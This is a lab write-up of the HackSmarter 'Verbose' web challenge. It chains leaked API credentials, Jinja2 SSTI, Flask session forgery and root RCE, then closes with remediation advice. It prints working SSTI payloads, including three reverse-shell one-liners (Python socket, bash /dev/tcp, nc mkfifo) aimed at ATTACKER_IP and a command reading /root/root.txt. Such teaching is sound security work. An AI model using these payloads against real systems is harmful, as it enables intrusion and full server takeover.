Logo
hacksmarter: verbose walkthrough

hacksmarter: verbose walkthrough

January 22, 2026
7 min read
index

Objective / Scope

You have been authorized to perform an external penetration test against a target organization. During the initial reconnaissance phase, you identified a web application that allows unrestricted public user registration.

  1. Enumerate: Map the application’s attack surface and functionality.
  2. Identify: Locate exploitable vulnerabilities within the application logic or configuration.
  3. Exploit & Escalate: Leverage identified flaws to compromise the system, with the final goal of securing root access to the host server to demonstrate maximum impact.

Target Information

Author
Created by Tyler Ramsbey
Category
Web App - Medium
Release
2025
Definition (Note From Tyler)

This is a slightly modified lab from my upcoming web app pentesting course. There are more vulnerabilities in this app than what is needed to solve it. If you want to take it to the next level, create a full pentest report on all of your findings!


Executive Summary

Summary (TL;DR)

This writeup documents the complete exploitation chain for the HackSmarter “Verbose” challenge lab. The target was a Flask-based web application vulnerable to multiple critical security flaws, including Sensitive Data Exposure, Server-Side Template Injection (SSTI), and Insecure Session Management. The attack chain progressed from information disclosure to full remote code execution with root privileges.

Flags Captured:

  • User Flag: HSM{REDACTED}
  • Root Flag: HSM{REDACTED}

Target Information

PropertyValue
IP Address10.1.108.155
Operating SystemUbuntu Linux
Web FrameworkFlask (Werkzeug 3.1.5, Python 3.12.3)
Open Ports22 (SSH), 80 (HTTP)

Phase 1: Reconnaissance

Port Scanning

Initial reconnaissance began with an Nmap scan to identify open services:

Terminal window
nmap -sC -sV -p- --min-rate=5000 -oN scans/nmap-full.txt 10.1.108.155

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14
80/tcp open http Werkzeug httpd 3.1.5 (Python 3.12.3)

The HTTP service was identified as a Flask/Werkzeug application titled “Hack Smarter Portal” with automatic redirect to /login.

Directory Enumeration

Directory brute-forcing revealed standard web application endpoints:

Terminal window
gobuster dir -u http://10.1.108.155 -w /usr/share/wordlists/dirb/common.txt

Discovered Endpoints:

  • /login - Authentication page
  • /register - User registration
  • /messages - Internal messaging (requires auth)
  • /profile - User profile management (requires auth)
  • /logout - Session termination

Phase 2: Initial Access - Sensitive Data Exposure

Discovery

After registering an account and logging in, the /messages page was examined. Viewing the page source revealed a critical vulnerability in the JavaScript code:

Tip (Always Check the Source!)
// Vulnerability: Overly Verbose Response / Sensitive Data Exposure
// This requests the PATH '/api/users/all'.
// The browser receives the full JSON (with passwords), even though we only display names.
fetch('/api/users/all')
.then(response => response.json())
.then(data => {
// ... only displays usernames
});

The developers even left a comment describing the vulnerability. Always view page source and inspect network requests — you might find hidden API endpoints leaking sensitive data!

Exploitation

Directly accessing the API endpoint leaked all user credentials:

Terminal window
curl http://10.1.108.155/api/users/all | jq
Danger (Leaked Credentials)
UsernamePasswordRoleMFA Code
tonybasketballuser-
johnnydolphinuser-
adminYouWontGetThisPasswordYouNoobLOL123admin6045
studentliverpooluser-

The admin account was protected by MFA, but the MFA code was also exposed in the API response — completely defeating the purpose of MFA!


Phase 3: Server-Side Template Injection (SSTI)

Discovery

The /messages endpoint allowed users to send messages to other users. Testing for SSTI in the message content field:

Tip (SSTI Detection Technique)

Test Payload:

{{7*7}}

Response: The message was rendered as 49, confirming Jinja2 SSTI vulnerability. This classic test payload works because template engines will evaluate the expression, while a non-vulnerable application would display the literal string.

Leaking Flask Configuration

The SSTI vulnerability was used to extract sensitive application configuration:

Payload:

{{config}}
Warning (Extracted SECRET_KEY)
hack-smarter-secret-key-1337

This secret key is used by Flask to sign session cookies. With this key in hand, we can forge arbitrary session cookies — including admin sessions!


Phase 4: Session Forgery - Admin Access

Flask session cookies are signed but not encrypted. With the leaked SECRET_KEY, valid admin sessions can be forged.

Decoding an existing session cookie revealed the structure:

{"role":"user","session_id":"78c0b838-6ce7-446d-8e7e-733bc308529c","user":"attacker99"}

Forging Admin Session

Tip (flask-unsign)

Using flask-unsign to create a forged admin session:

Terminal window
flask-unsign --sign \
--cookie '{"role":"admin","session_id":"forged-session","user":"admin"}' \
--secret 'hack-smarter-secret-key-1337'

flask-unsign is an essential tool for Flask pentesting. It can decode, brute-force, and sign Flask session cookies. Install it with pip install flask-unsign.

User Flag Captured

Replacing the session cookie with the forged admin token granted access to /admin/dashboard, where the user flag was displayed:

User Flag: HSM{REDACTED}


Phase 5: Remote Code Execution

SSTI to RCE Escalation

With confirmed SSTI, the vulnerability was escalated to Remote Code Execution using Jinja2’s access to Python’s object model.

RCE Payload:

{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
Danger (Running as Root!)

Response:

uid=0(root) gid=0(root) groups=0(root)

The application was running as root — a critical security misconfiguration. This means any code execution vulnerability immediately grants full system compromise with no privilege escalation needed.

Root Flag Captured

Reading the root flag:

Payload:

{{request.application.__globals__.__builtins__.__import__('os').popen('cat /root/root.txt').read()}}

Root Flag: HSM{REDACTED}

Obtaining a Reverse Shell

Instead of executing commands one at a time via SSTI, a full interactive shell can be obtained.

Note (Step 1: Start a Netcat Listener)

On your attack machine:

Terminal window
nc -lvnp 4444
Tip (Step 2: Send Reverse Shell Payload)

Use one of the following SSTI payloads in the message field (replace ATTACKER_IP with your tun0 IP):

Python Reverse Shell (Most Reliable):

{{request.application.__globals__.__builtins__.__import__('os').popen('python3 -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])\'').read()}}

Bash Reverse Shell:

{{request.application.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"').read()}}

Netcat with mkfifo:

{{request.application.__globals__.__builtins__.__import__('os').popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f').read()}}

The Python payload is generally most reliable since we already confirmed Python 3.12 is running on the target. If one payload doesn’t work, try the others — different environments may block certain techniques.

Tip (Step 3: Upgrade to Fully Interactive TTY)

Once the shell connects:

Terminal window
# Spawn a proper TTY
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Background the shell
# Press Ctrl+Z
# Fix terminal settings on your machine
stty raw -echo; fg
# Set terminal type
export TERM=xterm

This provides a fully interactive root shell with proper terminal handling, allowing use of tab completion, arrow keys, and interactive programs like vim or sudo.


Additional Vulnerabilities Discovered

Important (Bonus Finding: IDOR in Profile Update)

The profile update functionality was vulnerable to Insecure Direct Object Reference (IDOR):

Endpoint: POST /profile

Vulnerable Parameter:

action=update_email&user_id=3&email=hacker@evil.com

This allowed modification of other users’ email addresses by manipulating the user_id parameter. While not needed for the main attack chain, this represents another critical authorization flaw.


Attack Chain Summary

┌─────────────────────────────────────────────────────────────────┐
│ 1. RECONNAISSANCE │
│ └─> Nmap scan reveals Flask/Werkzeug on port 80 │
├─────────────────────────────────────────────────────────────────┤
│ 2. SENSITIVE DATA EXPOSURE │
│ └─> /api/users/all leaks all credentials + MFA codes │
├─────────────────────────────────────────────────────────────────┤
│ 3. SSTI DISCOVERY │
│ └─> {{7*7}} in messages renders as 49 │
├─────────────────────────────────────────────────────────────────┤
│ 4. SECRET KEY EXTRACTION │
│ └─> {{config}} leaks Flask SECRET_KEY │
├─────────────────────────────────────────────────────────────────┤
│ 5. SESSION FORGERY │
│ └─> flask-unsign creates admin session cookie │
│ └─> USER FLAG: HSM{REDACTED} │
├─────────────────────────────────────────────────────────────────┤
│ 6. SSTI TO RCE │
│ └─> Jinja2 payload executes as root │
│ └─> ROOT FLAG: HSM{REDACTED} │
└─────────────────────────────────────────────────────────────────┘

Remediation Recommendations

Danger (Critical Priority)
  1. Remove Sensitive Data from API Responses

    • Never expose passwords, MFA codes, or sensitive data in API responses
    • Implement proper data serialization that excludes sensitive fields
  2. Fix Server-Side Template Injection

    • Never render user input directly in templates
    • Use proper escaping: {{ user_input|e }}
    • Consider using a sandboxed template environment
  3. Rotate Secret Keys

    • Immediately rotate the Flask SECRET_KEY
    • Store secrets in environment variables, not in code
Warning (High Priority)
  1. Implement Proper Session Management

    • Use secure, httponly, and samesite cookie flags
    • Consider server-side session storage
  2. Fix IDOR Vulnerability

    • Implement proper authorization checks on profile updates
    • Verify user owns the resource being modified
  3. Run Application as Non-Root User

    • Create a dedicated service account
    • Apply principle of least privilege
Note (Medium Priority)
  1. Add Rate Limiting

    • Protect against brute force attacks on login and API endpoints
  2. Implement Security Headers

    • Add CSP, X-Frame-Options, X-Content-Type-Options

Tools Used

  • Nmap - Port scanning and service enumeration
  • Gobuster - Directory brute-forcing
  • curl/Browser DevTools - API testing and request manipulation
  • flask-unsign - Flask session cookie signing/forging
  • Netcat (nc) - Reverse shell listener

References


Writeup completed: January 22, 2026